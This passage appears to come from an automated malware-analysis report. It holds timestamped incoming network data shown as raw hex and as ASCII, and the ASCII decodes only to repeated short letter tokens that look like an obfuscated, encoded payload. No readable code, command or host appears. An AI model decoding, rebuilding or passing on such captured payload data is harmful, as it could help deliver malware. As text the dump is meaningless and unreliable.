PkU PPs PLk Oz Wk WO skl PPW PPl PkU PsB Wk Oz Wk WO zO PPO PP

2021-10-29 15:55:28 UTC 1323 IN Data Raw: 20 73 7a 20 4f 6b 20 4f 6b 20 73 50 6c 20 4f 6b 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 73 4c 20 73 73 4f 20 73
57 57 20 57 4f 20 7a 4f 20 50 50 7a 20 55 4c 20 55 6b 20 50 50 73 20 57 6b 20 57 7a 20 42 57 20 50 4f 20 7a 4f 20 50 50 
4f 20 50 73 6c 20 50 73 42 20 50 50 6c 20 73 57 20 50 20 57 55 20 4f 50 20 42 7a 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 
50 73 20 57 50 20 73 50 20 73 73 42 20 73 73 6b 20 7a 4f 20 50 50 4f 20 50 50 4c 20 42 55 20 6c 50 20 57 6b 20 4f 7a 20 
57 42 20 42 55 20 50 6b 7a 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 73 4c 20 4f 7a 20 57 6b 20 42 6b 20 50 73 50 
20 50 73 4c 20 50 6b 6b 20 50 6b 57 20 7a 7a 20 73 50 6c 20 4f 7a 20 57 6b 20 4f 7a 20 50 73 6c 20 50 50 6c 20 50 6b 6b 
20 50 6b 57 20 7a 7a 20 73 50 42 20 4f 7a 20 57 6b 20 
Data Ascii:  sz Ok Ok sPl Ok PPl PkU PPL sL ssO sWW WO zO PPz UL Uk PPs Wk Wz BW PO zO PPO Psl PsB PPl sW 
P WU OP Bz sWW Ol PkU PPs WP sP ssB ssk zO PPO PPL BU lP Wk Oz WB BU Pkz PPO PPl PkL LP sL Oz Wk Bk 
PsP PsL Pkk PkW zz sPl Oz Wk Oz Psl PPl Pkk PkW zz sPB Oz Wk 

2021-10-29 15:55:28 UTC 1327 IN Data Raw: 20 42 6c 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 73 50 20 4c 42 20 4f 50 20 50 73 42 20 73 
4c 55 20 42 20 7a 57 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 50 55 42 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 4f 20 
50 50 42 20 4c 57 20 57 42 20 55 4c 20 50 55 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 4f 20 50 50 42 20 4c 42 20 55 
57 20 50 55 7a 20 57 4f 20 7a 4f 20 50 50 42 20 50 6b 6b 20 50 6b 57 20 4c 50 20 73 4c 6c 20 4f 7a 20 57 6b 20 42 6b 20 
42 55 20 50 73 73 20 55 4c 20 50 55 50 20 50 50 73 20 57 6b 20 57 7a 20 4c 4c 20 57 50 20 42 42 20 55 6c 20 50 50 57 
20 6c 6b 20 73 4c 20 4c 57 20 57 4c 20 4c 57 20 4f 7a 20 73 6b 42 20 55 6c 20 50 73 4f 20 50 73 4f 20 50 73 50 20 42 57 
20 7a 4f 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 50 42 20 50 
Data Ascii:  Bl sWW Ol PkU PPs WP sP LB OP PsB sLU B zW PPs Wk Wz UL PUB zO PPO PPW PsO PPB LW WB UL 
PUz zO PPO PPW PsO PPB LB UW PUz WO zO PPB Pkk PkW LP sLl Oz Wk Bk BU Pss UL PUP PPs Wk Wz LL WP 
BB Ul PPW lk sL LW WL LW Oz skB Ul PsO PsO PsP BW zO Wk WO UO sU PB P

2021-10-29 15:55:28 UTC 1331 IN Data Raw: 4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 4c 6b 20 6c 42 20 
50 50 4f 20 50 50 6c 20 6c 6b 20 7a 7a 20 4f 4c 20 4f 7a 20 57 6b 20 73 55 20 4c 55 20 6c 4f 20 50 50 6c 20 50 6b 55 20 
50 73 73 20 55 4c 20 50 55 4f 20 57 6b 20 57 4f 20 7a 73 20 7a 6c 20 55 55 20 73 20 50 4c 73 20 57 6b 20 4f 7a 20 57 73 
20 7a 55 20 50 4c 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 50 6c 4f 20 4f 55 20 73 73 20 73 4c 42 20 57 4f 20 7a 73 20 
7a 7a 20 50 50 42 20 50 73 57 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 4f 7a 20 7a 4f 20 6c 20 50 4f 20 50 6b 55 20 50 
50 57 20 57 42 20 4f 7a 20 57 6b 20 57 57 20 6c 4f 20 50 50 73 20 55 4c 20 50 57 50 20 50 50 73 20 57 6b 20 57 4f 20 73 
4f 20 4f 6b 20 7a 42 20 55 6b 20 73 50 55 20 50 6b 55 20 
Data Ascii: Ok zO PPO Psl BU PPP Wk Oz WB Lk lB PPO PPl lk zz OL Oz Wk sU LU lO PPl PkU Pss UL PUO Wk WO zs 
zl UU s PLs Wk Oz Ws zU PLU PPO PPl PkL PlO OU ss sLB WO zs zz PPB PsW PPs Wk Oz Wk Oz zO l PO PkU PPW 
WB Oz Wk WW lO PPs UL PWP PPs Wk WO sO Ok zB Uk sPU PkU 

2021-10-29 15:55:28 UTC 1335 IN Data Raw: 20 57 6b 20 57 7a 20 73 42 20 7a 7a 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 50 50 20 50 50 20 4c 4f 20 4f 7a 
20 57 6b 20 57 6b 20 42 55 20 50 50 42 20 50 6b 6b 20 50 6b 6b 20 4f 6b 20 4c 57 20 42 73 20 7a 7a 20 50 50 6b 20 42 
50 20 55 55 20 50 73 6c 20 50 73 4f 20 50 73 6c 20 50 7a 55 20 4c 6b 20 57 6b 20 57 4f 20 7a 42 20 55 20 7a 50 20 50 6b 
55 20 50 50 73 20 57 4f 20 7a 55 20 55 4c 20 50 55 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 6b 6c 20 55 50 20 7a 20 57 
6b 20 6c 4c 20 4c 4f 20 7a 4f 20 50 50 4f 20 50 50 4c 20 50 6b 42 20 50 73 6b 20 50 6b 42 20 50 55 50 20 73 20 57 4f 20 
7a 4f 20 50 50 73 20 50 4f 20 42 7a 20 50 50 73 20 57 6b 20 57 73 20 4c 57 20 57 6c 20 7a 42 20 55 55 20 50 50 57 20 50 
73 4f 20 50 73 50 20 50 6b 42 20 4c 4c 20 42 6b 20 55 73 20 
Data Ascii:  Wk Wz sB zz zO PPO Psl PPP PP LO Oz Wk Wk BU PPB Pkk Pkk Ok LW Bs zz PPk BP UU Psl PsO Psl 
PzU Lk Wk WO zB U zP PkU PPs WO zU UL PUB zO PPO Psl skl UP z Wk lL LO zO PPO PPL PkB Psk PkB PUP s WO 
zO PPs PO Bz PPs Wk Ws LW Wl zB UU PPW PsO PsP PkB LL Bk Us 

2021-10-29 15:55:28 UTC 1339 IN Data Raw: 55 20 50 50 73 20 57 6b 20 57 6b 20 6c 4c 20 57 6c 20 7a 4f 20 50 50 4f 20 50 50 4c 20 50 50 6c 20 73 42 20 
50 20 50 50 7a 20 4f 7a 20 6c 6c 20 6c 50 20 50 50 4f 20 50 50 6c 20 50 6b 57 20 50 73 50 20 4c 57 20 57 4f 20 55 50 20 
50 50 6b 20 73 50 55 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 73 42 20 42 55 20 57 6b 20 57 4f 20 55 4f 20 50 50 
73 20 50 4f 20 50 73 57 20 50 50 73 20 57 6b 20 57 73 20 4c 57 20 42 6b 20 42 55 20 50 73 6c 20 4f 57 20 50 73 4f 20 50 
73 42 20 4c 42 20 50 42 42 20 50 6b 42 20 4c 55 20 55 6b 20 50 6b 50 20 73 73 6c 20 57 4c 20 55 6c 20 42 6b 20 4f 6b 
20 50 42 4f 20 50 50 6b 20 42 55 20 50 73 4f 20 50 6b 7a 20 73 57 50 20 4f 6b 20 55 50 20 4c 4c 20 42 6b 20 4f 4f 20 50 
55 4f 20 73 6c 20 73 42 20 50 57 55 20 50 50 73 20 57 6b 20 
Data Ascii: U PPs Wk Wk lL Wl zO PPO PPL PPl sB P PPz Oz ll lP PPO PPl PkW PsP LW WO UP PPk sPU UL PPl PkU 
PPO sB BU Wk WO UO PPs PO PsW PPs Wk Ws LW Bk BU Psl OW PsO PsB LB PBB PkB LU Uk PkP ssl WL Ul Bk Ok 
PBO PPk BU PsO Pkz sWP Ok UP LL Bk OO PUO sl sB PWU PPs Wk 

2021-10-29 15:55:28 UTC 1344 IN Data Raw: 50 42 7a 20 73 4f 20 7a 50 20 57 4f 20 7a 4f 20 50 73 6b 20 55 4c 20 50 50 50 20 50 50 4c 20 57 6b 20 57 7a 
20 42 57 20 57 4c 20 7a 57 20 50 50 4f 20 50 73 6c 20 6c 73 20 50 50 7a 20 4c 6c 20 50 6c 6b 20 73 42 20 7a 57 20 7a 4f 
20 50 50 4f 20 50 73 6c 20 4c 6b 20 7a 73 20 57 6b 20 4f 7a 20 57 42 20 4c 6b 20 50 50 55 20 50 50 4f 20 50 50 6c 20 50 
6b 4c 20 4c 50 20 73 73 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 50 50 7a 20 50 50 42 20 50 6b 55 20 50 73 73 20 73 4c 
20 57 4f 20 4c 6c 20 50 6c 73 20 50 73 4f 20 50 6c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 57 4c 20 57 50 20 57 
4f 20 55 4f 20 55 6b 20 50 4c 7a 20 50 6b 55 20 50 50 73 20 57 42 20 73 73 20 73 4c 42 20 57 50 20 50 50 4f 20 50 6b 6b 
20 50 73 42 20 50 6c 55 20 50 50 4f 20 4c 6c 20 73 42 20 57 
Data Ascii: PBz sO zP WO zO Psk UL PPP PPL Wk Wz BW WL zW PPO Psl ls PPz Ll Plk sB zW zO PPO Psl Lk zs Wk 
Oz WB Lk PPU PPO PPl PkL LP ss Oz Wk Bk WU PPz PPB PkU Pss sL WO Ll Pls PsO Pl PPl PkU Pss UL WL WP WO 
UO Uk PLz PkU PPs WB ss sLB WP PPO Pkk PsB PlU PPO Ll sB W

2021-10-29 15:55:28 UTC 1348 IN Data Raw: 20 50 50 42 20 50 6b 55 20 50 50 50 20 50 50 73 20 57 73 20 42 6c 20 4f 6c 20 57 57 20 7a 4f 20 50 73 6b 20 
55 4c 20 6c 6c 20 50 50 73 20 57 6b 20 73 6c 20 42 57 20 4f 50 20 7a 57 20 50 50 4f 20 50 73 6c 20 50 6b 73 20 55 7a 20 
57 50 20 73 4f 20 50 7a 20 57 57 20 7a 4f 20 50 73 6b 20 7a 7a 20 50 50 6b 20 50 6b 73 20 73 57 20 57 57 20 4c 73 20 
57 57 20 50 73 4f 20 7a 4c 20 50 50 42 20 50 6b 55 20 50 73 73 20 42 4c 20 73 4c 7a 20 57 57 20 50 42 20 50 4c 7a 20 
50 50 4f 20 55 55 20 6c 50 20 50 73 50 20 73 4f 20 4f 7a 20 57 50 20 4c 7a 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 
20 42 6b 20 57 6b 20 73 4f 6b 20 42 73 20 57 57 20 7a 6c 20 50 73 6b 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 4c 4c 20 6
b 20 57 57 20 57 4f 20 4c 57 20 50 50 4f 20 50 50 6c 20 50 6b 55 
Data Ascii:  PPB PkU PPP PPs Ws Bl Ol WW zO Psk UL ll PPs Wk sl BW OP zW PPO Psl Pks Uz WP sO Pz WW zO Psk 
zz PPk Pks sW WW Ls WW PsO zL PPB PkU Pss BL sLz WW PB PLz PPO UU lP PsP sO Oz WP Lz zO PPO PPl PkU 
Bk Wk sOk Bs WW zl Psk PPl PkU PPL LL k WW WO LW PPO PPl PkU

Timestamp
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2021-10-29 15:55:28 UTC 1352 IN Data Raw: 4f 4c 20 73 20 57 50 20 7a 4f 20 50 4f 73 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 73 73 20 4f 7a 20 57 6b 
20 4c 55 20 4f 73 20 50 50 7a 20 50 50 6c 20 50 6b 55 20 50 50 42 20 6c 42 20 57 57 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 
20 7a 7a 20 50 6b 55 20 50 50 73 20 57 73 20 4c 55 20 50 55 50 20 50 50 6b 20 7a 4f 20 50 50 4f 20 50 50 42 20 6c 73 
20 50 6b 73 20 42 4f 20 73 4c 7a 20 57 4c 20 57 4f 20 4c 42 20 73 6b 7a 20 55 7a 20 73 20 42 73 20 57 6b 20 4f 7a 20 57 
42 20 6c 73 20 6c 57 20 50 50 57 20 50 50 6c 20 50 6b 57 20 7a 57 20 4c 50 20 4c 55 20 73 6b 20 6c 73 20 6c 4f 20 50 50 
57 20 50 50 6c 20 50 6b 57 20 50 4f 73 20 57 73 20 4f 6c 20 4f 7a 20 57 4f 20 7a 73 20 50 20 42 73 20 50 6b 7a 20 50 50 
73 20 57 42 20 73 50 20 50 6c 7a 20 4f 50 20 7a 57 20 50 50 
Data Ascii: OL s WP zO POs PPl PkU PPs Pss Oz Wk LU Os PPz PPl PkU PPB lB WW Wk WO zk Uk zz PkU PPs Ws LU 
PUP PPk zO PPO PPB ls Pks BO sLz WL WO LB skz Uz s Bs Wk Oz WB ls lW PPW PPl PkW zW LP LU sk ls lO PPW P
Pl PkW POs Ws Ol Oz WO zs P Bs Pkz PPs WB sP Plz OP zW PP

2021-10-29 15:55:28 UTC 1355 IN Data Raw: 50 50 73 20 50 73 50 20 4f 7a 20 57 6b 20 4c 55 20 4c 55 20 73 50 42 20 50 50 6c 20 50 6b 55 20 50 73 73 20 
57 42 20 42 42 20 50 50 73 20 57 55 20 7a 4f 20 73 20 6c 20 73 4c 4c 20 50 73 57 20 57 6b 20 42 4f 20 6c 42 20 4f 6b 20 
7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 42 7a 20 73 6b 6b 20 50 73 6c 20 50 50 
6c 20 73 55 20 73 20 50 7a 73 20 42 50 20 57 6b 20 6c 6b 20 4f 73 20 50 6b 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 
73 42 20 4f 6c 20 57 6b 20 57 4f 20 55 4f 20 50 20 50 73 20 50 6b 7a 20 50 50 73 20 57 42 20 57 55 20 57 4c 20 7a 55 20 
4c 55 20 50 50 57 20 50 50 6c 20 50 6b 4c 20 50 73 4f 20 57 7a 20 55 57 20 6c 6b 20 57 57 20 7a 4f 20 50 73 6b 20 50 73 
6b 20 6c 6b 20 50 42 20 57 55 20 55 57 20 6c 50 20 57 57 20 
Data Ascii: PPs PsP Oz Wk LU LU sPB PPl PkU Pss WB BB PPs WU zO s l sLL PsW Wk BO lB Ok zO PPO Psl BU PPP 
Wk Oz WB Bz skk Psl PPl sU s Pzs BP Wk lk Os Pkz PPl PkU Pss sB Ol Wk WO UO P Ps Pkz PPs WB WU WL zU LU 
PPW PPl PkL PsO Wz UW lk WW zO Psk Psk lk PB WU UW lP WW 

2021-10-29 15:55:28 UTC 1359 IN Data Raw: 20 57 42 20 57 7a 20 50 7a 20 50 7a 6c 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 73 4f 20 4f 73 20 57 6b 20 4f 7a 
20 57 50 20 50 55 20 50 4c 73 20 50 7a 4c 20 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 6c 20 57 6b 20 57 4f 20 55 4f 
20 50 20 6c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 42 42 20 73 73 50 20 4c 55 20 7a 4f 20 73 20 50 50 20 50 50 57 20 
50 50 73 20 57 6b 20 57 7a 20 73 42 20 4f 50 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 73 20 73 57 4c 20 50 6b 4f 20 4f 
7a 20 57 6b 20 57 57 20 50 50 4c 20 50 6b 6b 20 50 6b 42 20 50 6c 20 73 4c 6c 20 55 4c 20 73 4c 7a 20 57 6b 20 57 4f 20 
55 4f 20 50 73 50 20 55 55 20 55 6c 20 6c 73 20 50 55 57 20 4f 7a 20 57 6b 20 57 4f 20 7a 4c 20 50 73 73 20 73 4c 55 20 
55 42 20 50 50 50 20 4c 4c 20 50 7a 55 20 50 6b 4f 20 57 
Data Ascii:  WB Wz Pz Pzl zO PPO PPl ssO Os Wk Oz WP PU PLs PzL PPl PkU PPB sB l Wk WO UO P ll PkU PPs WB 
BB ssP LU zO s PP PPW PPs Wk Wz sB OP zO PPO Psl Pss sWL PkO Oz Wk WW PPL Pkk PkB Pl sLl UL sLz Wk WO 
UO PsP UU Ul ls PUW Oz Wk WO zL Pss sLU UB PPP LL PzU PkO W

2021-10-29 15:55:28 UTC 1363 IN Data Raw: 20 57 50 20 50 55 20 50 4c 73 20 50 42 57 20 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 6c 20 57 6b 20 57 
4f 20 55 4f 20 50 20 6c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 57 55 20 6c 42 20 6c 4f 20 7a 57 20 50 50 4f 20 50 73 6c 
20 50 6b 42 20 4c 50 20 73 73 73 20 4f 7a 20 57 6b 20 42 6b 20 7a 7a 20 50 73 73 20 73 42 20 50 42 20 50 50 4c 20 57 
6b 20 57 7a 20 42 4c 20 4c 73 20 6c 50 20 50 50 7a 20 6c 6c 20 50 6c 7a 20 50 50 73 20 57 6b 20 4f 7a 20 57 55 20 4c 
55 20 7a 6b 20 73 4c 73 20 50 6b 73 20 50 6b 4f 20 50 73 6b 20 4c 57 20 57 4c 20 55 4c 20 73 50 7a 20 7a 4f 20 50 50 4f 
20 50 73 6c 20 50 73 42 20 50 50 7a 20 4c 57 20 57 4f 20 4c 50 20 57 4c 20 42 4f 20 7a 55 20 50 6b 6c 20 50 73 4f 20 50 
50 7a 20 4f 57 20 57 55 20 50 55 50 20 50 6b 7a 20 7a 4f 20 50 
Data Ascii:  WP PU PLs PBW PPl PkU PPB sB l Wk WO UO P ll PkU PPs WB WU lB lO zW PPO Psl PkB LP sss Oz Wk 
Bk zz Pss sB PB PPL Wk Wz BL Ls lP PPz ll Plz PPs Wk Oz WU LU zk sLs Pks PkO Psk LW WL UL sPz zO PPO Psl PsB 
PPz LW WO LP WL BO zU Pkl PsO PPz OW WU PUP Pkz zO P

2021-10-29 15:55:28 UTC 1367 IN Data Raw: 20 50 73 6c 20 6c 6c 20 50 73 4f 20 50 50 4c 20 57 6b 20 4f 7a 20 57 7a 20 42 4c 20 73 6b 42 20 55 6c 20 50 
50 4c 20 50 73 4c 20 55 55 20 57 57 20 57 4f 20 55 4c 20 73 73 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 50 55 
20 73 57 20 4f 50 20 4c 73 20 4f 55 20 50 73 4f 20 7a 4c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 4c 20 57 42 20 4c 57 
20 57 6b 20 42 55 20 50 73 73 20 73 42 20 6c 73 20 50 50 73 20 57 6b 20 57 7a 20 4c 6b 20 57 50 20 42 6c 20 55 6c 20 
50 50 73 20 6c 6b 20 50 73 50 20 4c 73 20 57 57 20 73 42 20 4c 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 4f 20 50 6c 4f 20 
73 4c 42 20 42 73 20 4c 73 20 4f 55 20 50 6c 6b 20 50 6b 6b 20 50 73 57 20 50 6b 55 20 50 50 73 20 4f 50 20 55 57 20 57 
6c 20 57 4f 20 7a 4f 20 50 73 6b 20 50 42 55 20 50 73 4f 20 
Data Ascii:  Psl ll PsO PPL Wk Oz Wz BL skB Ul PPL PsL UU WW WO UL ss zO PPO Psl PsB PPU sW OP Ls OU PsO zL 
PPl PkU Pss LL WB LW Wk BU Pss sB ls PPs Wk Wz Lk WP Bl Ul PPs lk PsP Ls WW sB L zO PPO Psl BO PlO sLB Bs 
Ls OU Plk Pkk PsW PkU PPs OP UW Wl WO zO Psk PBU PsO 

2021-10-29 15:55:28 UTC 1371 IN Data Raw: 4c 20 6c 50 20 7a 73 20 4f 7a 20 57 50 20 6c 55 20 50 20 7a 4f 20 50 50 4f 20 50 50 4c 20 6c 50 20 50 50 6b 
20 4f 7a 20 6c 57 20 50 6b 20 57 4f 20 7a 4f 20 50 50 7a 20 55 57 20 6c 55 20 50 50 4f 20 4f 55 20 6c 6c 20 50 6b 20 57 
4f 20 7a 4f 20 50 50 7a 20 55 57 20 50 50 57 20 50 50 4f 20 73 42 20 7a 73 20 57 6b 20 57 4f 20 55 4f 20 7a 7a 20 50 6b 
6c 20 50 50 50 20 50 50 20 50 50 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 7a 6b 20 50 50 55 20 50 50 6b 20 50 4c 20 
50 50 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 50 6b 7a 20 50 50 55 20 73 73 20 6c 4f 20 57 6b 20 4f 7a 20 57 4f 20 73 
7a 20 50 50 7a 20 50 50 73 20 50 50 7a 20 50 42 20 6c 4f 20 57 6b 20 4f 7a 20 57 4f 20 73 7a 20 6c 4f 20 50 50 73 20 50 
4f 20 7a 42 20 50 50 73 20 57 6b 20 57 73 20 73 4f 20 73 6b 
Data Ascii: L lP zs Oz WP lU P zO PPO PPL lP PPk Oz lW Pk WO zO PPz UW lU PPO OU ll Pk WO zO PPz UW PPW 
PPO sB zs Wk WO UO zz Pkl PPP PP PP Oz Wk Wk PsB zk PPU PPk PL PP Oz Wk Wk PsB Pkz PPU ss lO Wk Oz WO 
sz PPz PPs PPz PB lO Wk Oz WO sz lO PPs PO zB PPs Wk Ws sO sk

2021-10-29 15:55:28 UTC 1376 IN Data Raw: 57 20 6c 6c 20 57 4f 20 7a 4f 20 50 50 7a 20 55 57 20 6c 55 20 50 50 4f 20 4f 55 20 6c 6c 20 6c 6c 20 57 4f 20 
7a 4f 20 50 50 7a 20 55 57 20 50 50 57 20 50 50 4f 20 6c 4c 20 50 6c 42 20 57 6b 20 57 4f 20 7a 6b 20 7a 7a 20 7a 6c 20 
50 50 50 20 50 50 57 20 6c 55 20 50 6c 42 20 57 6b 20 57 4f 20 7a 6b 20 7a 7a 20 50 6b 6c 20 50 50 50 20 50 50 20 50 
6c 55 20 4f 7a 20 57 6b 20 57 6b 20 50 73 42 20 7a 6b 20 50 50 55 20 50 50 6b 20 50 4c 20 50 6c 55 20 4f 7a 20 57 6b 20 
57 6b 20 50 73 42 20 50 6b 7a 20 50 50 55 20 42 55 20 50 7a 20 57 6b 20 4f 7a 20 57 42 20 73 7a 20 6c 4f 20 50 50 73 
20 55 4c 20 50 57 20 50 50 73 20 57 6b 20 57 7a 20 73 4f 20 50 42 4f 20 7a 42 20 55 6b 20 73 4c 20 50 6b 55 20 50 50 73 
20 57 42 20 57 6b 20 4f 55 20 42 55 20 50 50 7a 20 50 50 4f 
Data Ascii: W ll WO zO PPz UW lU PPO OU ll ll WO zO PPz UW PPW PPO lL PlB Wk WO zk zz zl PPP PPW lU PlB Wk 
WO zk zz Pkl PPP PP PlU Oz Wk Wk PsB zk PPU PPk PL PlU Oz Wk Wk PsB Pkz PPU BU Pz Wk Oz WB sz lO PPs UL 
PW PPs Wk Wz sO PBO zB Uk sL PkU PPs WB Wk OU BU PPz PPO

2021-10-29 15:55:28 UTC 1380 IN Data Raw: 50 50 57 20 50 50 6c 20 50 6b 6c 20 55 6c 20 57 7a 20 4f 6c 20 73 6b 20 50 7a 6c 20 50 4f 20 50 50 4f 20 50 
50 6c 20 50 6b 7a 20 7a 57 20 73 73 42 20 73 50 55 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 42 42 20 50 6b 55 20 50 50 
73 20 57 42 20 42 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 73 6b 20 6c 20 50 55 7a 20 50 6b 6b 20 57 6b 20 42 4f 20 6c 42 20 
4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 7a 55 20 73 6b 73 20 50 50 57 
20 50 50 6c 20 50 6b 6c 20 55 6c 20 57 7a 20 6c 6c 20 42 50 20 57 57 20 7a 4f 20 50 50 7a 20 50 50 55 20 50 73 73 20 
50 4c 20 42 6b 20 4f 55 20 57 6b 20 57 6b 20 42 6c 20 7a 7a 20 50 50 55 20 50 73 6b 20 50 4c 20 42 6b 20 4f 55 20 57 6b 
20 57 6b 20 42 42 20 7a 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 
Data Ascii: PPW PPl Pkl Ul Wz Ol sk Pzl PO PPO PPl Pkz zW ssB sPU Wk WO zk Uk BB PkU PPs WB Bl Pk WO zO Psk 
l PUz Pkk Wk BO lB Ok zO PPO Psl BU PPP Wk Oz WB zU sks PPW PPl Pkl Ul Wz ll BP WW zO PPz PPU Pss PL Bk 
OU Wk Wk Bl zz PPU Psk PL Bk OU Wk Wk BB zz PPl PkU PPs

Timestamp
kBytes
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2021-10-29 15:55:28 UTC 1384 IN Data Raw: 6b 20 57 42 20 73 55 20 6b 20 50 6b 42 20 55 4c 20 50 50 42 20 50 4f 55 20 42 6c 20 57 6b 20 4f 7a 20 73 6b 
20 57 4f 20 42 42 20 6c 55 20 42 6c 20 7a 4c 20 7a 42 20 57 6b 20 73 50 73 20 50 4f 20 6b 20 50 6b 42 20 7a 7a 20 50 
50 6c 20 4f 6c 20 7a 6b 20 50 73 55 20 55 20 73 7a 20 57 4f 20 57 42 20 7a 4f 20 50 6b 6b 20 42 6c 20 55 4f 20 57 6b 20 
7a 20 73 6b 20 4c 55 20 50 73 73 20 55 73 20 50 50 6c 20 6c 4c 20 7a 42 20 4c 57 20 4c 6b 20 4c 42 20 57 4f 20 73 50 4f 
20 7a 4f 20 42 20 6c 6b 20 50 6b 73 20 57 6b 20 50 50 42 20 4f 57 20 42 55 20 50 73 6c 20 50 6b 6b 20 50 50 6c 20 73 4f 
42 20 7a 42 20 42 57 20 73 6c 20 57 73 20 57 4f 20 73 4c 4c 20 7a 6b 20 50 55 20 42 57 20 50 73 73 20 57 6b 20 50 7a 
73 20 50 7a 20 4f 4c 20 50 6b 50 20 50 50 42 20 50 50 6c 20 50 
Data Ascii: k WB sU k PkB UL PPB POU Bl Wk Oz sk WO BB lU Bl zL zB Wk sPs PO k PkB zz PPl Ol zk PsU U sz WO 
WB zO Pkk Bl UO Wk z sk LU Pss Us PPl lL zB LW Lk LB WO sPO zO B lk Pks Wk PPB OW BU Psl Pkk PPl sOB zB BW 
sl Ws WO sLL zk PU BW Pss Wk Pzs Pz OL PkP PPB PPl P

2021-10-29 15:55:28 UTC 1387 IN Data Raw: 20 50 50 6c 20 50 42 57 20 7a 7a 20 57 6b 20 4f 7a 20 73 6c 20 57 4f 20 55 57 20 50 50 4f 20 73 4f 7a 20 50 
6b 55 20 73 4f 50 20 57 50 20 4c 73 20 57 6b 20 73 6b 7a 20 50 6b 73 20 50 50 4f 20 50 50 6c 20 42 7a 20 50 50 73 20 57 
6c 20 4f 7a 20 50 7a 55 20 57 4f 20 7a 57 20 50 50 4f 20 50 6b 50 20 50 6b 55 20 4f 20 50 4f 20 4f 7a 20 57 6b 20 50 57 
4f 20 7a 4f 20 50 73 50 20 50 50 6c 20 73 57 73 20 50 50 73 20 57 50 20 4f 7a 20 4c 4f 20 57 4f 20 73 6b 55 20 57 50 20 
50 50 6c 20 50 6b 55 20 73 73 6b 20 57 6b 20 57 55 20 57 6b 20 50 42 73 20 7a 4f 20 50 50 57 20 50 50 6c 20 50 73 57 
20 50 50 73 20 73 57 6b 20 73 20 57 6b 20 57 4f 20 73 4f 7a 20 50 50 4f 20 50 73 6b 20 50 6b 55 20 73 4c 73 20 57 6b 20 
4f 55 20 57 6b 20 4c 7a 20 7a 4f 20 50 50 6b 20 50 6b 6c 20 
Data Ascii:  PPl PBW zz Wk Oz sl WO UW PPO sOz PkU sOP WP Ls Wk skz Pks PPO PPl Bz PPs Wl Oz PzU WO zW 
PPO PkP PkU O PO Oz Wk PWO zO PsP PPl sWs PPs WP Oz LO WO skU WP PPl PkU ssk Wk WU Wk PBs zO PPW 
PPl PsW PPs sWk s Wk WO sOz PPO Psk PkU sLs Wk OU Wk Lz zO PPk Pkl 

2021-10-29 15:55:28 UTC 1391 IN Data Raw: 6b 20 50 6b 57 20 57 50 20 50 7a 20 7a 57 20 7a 6c 20 50 50 55 20 50 73 42 20 50 50 4c 20 57 6b 20 4f 7a 20 
73 4f 73 20 57 4f 20 7a 4f 20 50 50 4f 20 4f 4f 20 50 6b 7a 20 7a 4f 20 57 50 20 73 50 20 4f 7a 20 4c 6c 20 7a 57 20 50 50 
4f 20 50 50 6c 20 73 4f 7a 20 50 50 6c 20 57 6b 20 4f 7a 20 50 6b 6c 20 57 57 20 50 50 73 20 50 50 57 20 7a 6b 20 50 50 
50 20 55 55 20 57 50 20 4f 7a 20 57 6b 20 50 6c 20 55 4f 20 50 50 4f 20 50 50 6c 20 57 73 20 50 50 4c 20 73 73 20 4f 55 
20 73 4c 20 57 73 20 6c 50 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 50 20 42 4c 20 4f 7a 20 57 6b 20 50 50 50 20 7a 
57 20 7a 42 20 50 50 42 20 6c 73 20 50 50 4f 20 4c 4c 20 4f 55 20 57 6b 20 57 4f 20 73 57 50 20 50 73 57 20 50 50 6c 20 
50 6b 55 20 4f 50 20 57 50 20 73 6b 20 57 50 20 50 55 20 
Data Ascii: k PkW WP Pz zW zl PPU PsB PPL Wk Oz sOs WO zO PPO OO Pkz zO WP sP Oz Ll zW PPO PPl sOz PPl 
Wk Oz Pkl WW PPs PPW zk PPP UU WP Oz Wk Pl UO PPO PPl Ws PPL ss OU sL Ws lP PPW PPl PkU PP BL Oz Wk 
PPP zW zB PPB ls PPO LL OU Wk WO sWP PsW PPl PkU OP WP sk WP PU 

